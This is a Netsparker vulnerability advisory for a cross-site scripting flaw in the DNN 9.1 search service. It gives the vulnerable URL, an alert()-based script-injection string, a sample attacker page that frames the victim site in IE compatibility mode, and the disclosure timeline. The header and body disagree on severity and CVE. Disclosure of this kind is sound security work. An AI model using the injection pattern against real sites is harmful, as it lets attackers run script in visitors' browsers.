DNN 9.1 XML Related Cross Site Scripting

2019.01.24
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

Cross-site Scripting via XML Vulnerability in DNN 9.1 Information -------------------- Advisory by Netsparker Name: Cross-site Scripting via XML Vulnerability in DNN 9.1 Affected Software: DNN Affected Versions: 9.1 Homepage: http://dnnsoftware.com Vulnerability: Cross-site Scripting via XML Vulnerability Severity: High Status: Not Fixed CVE-ID: 2018-14486 CVSS Score (3.0): CVSS:3.0/VA:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N Netsparker Advisory Reference: NS-18-048 Technical Details -------------------- XSS via XML Url: http://DNNWebsite/blog/API/internalservices/searchService/search? Parameter Name: Query String Parameter Type: Get Attack Pattern '"--></style></scRipt><scRipt>alert(0x00BA94)</scRipt> Attacker`s Website: <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"> </head> <body> <iframe src='http://www.victim.site/'></iframe> </body&gt; </html> Victim's DNN Website: <messages> <message> TEst '"--></style></scRipt><scRipt>alert(0x00BA94)</scRipt> </message> </messages> Note: Attacker can execute payload on own Website with Iframe Element. Payload can be used only with Internet Explorer's with Compatible Mode Option. For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS). Advisory Timeline -------------------- 16th January 2018- First Contact 1st Febuary 2018 - Technical Details Sent 9th January 2019 - Last Attempt to Contact 23rd January 2019 - Advisory Released Credits & Authors -------------------- These issues have been discovered by Mustafa YalASSA+-n while testing Netsparker Web Application Security Scanner. About Netsparker -------------------- Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.


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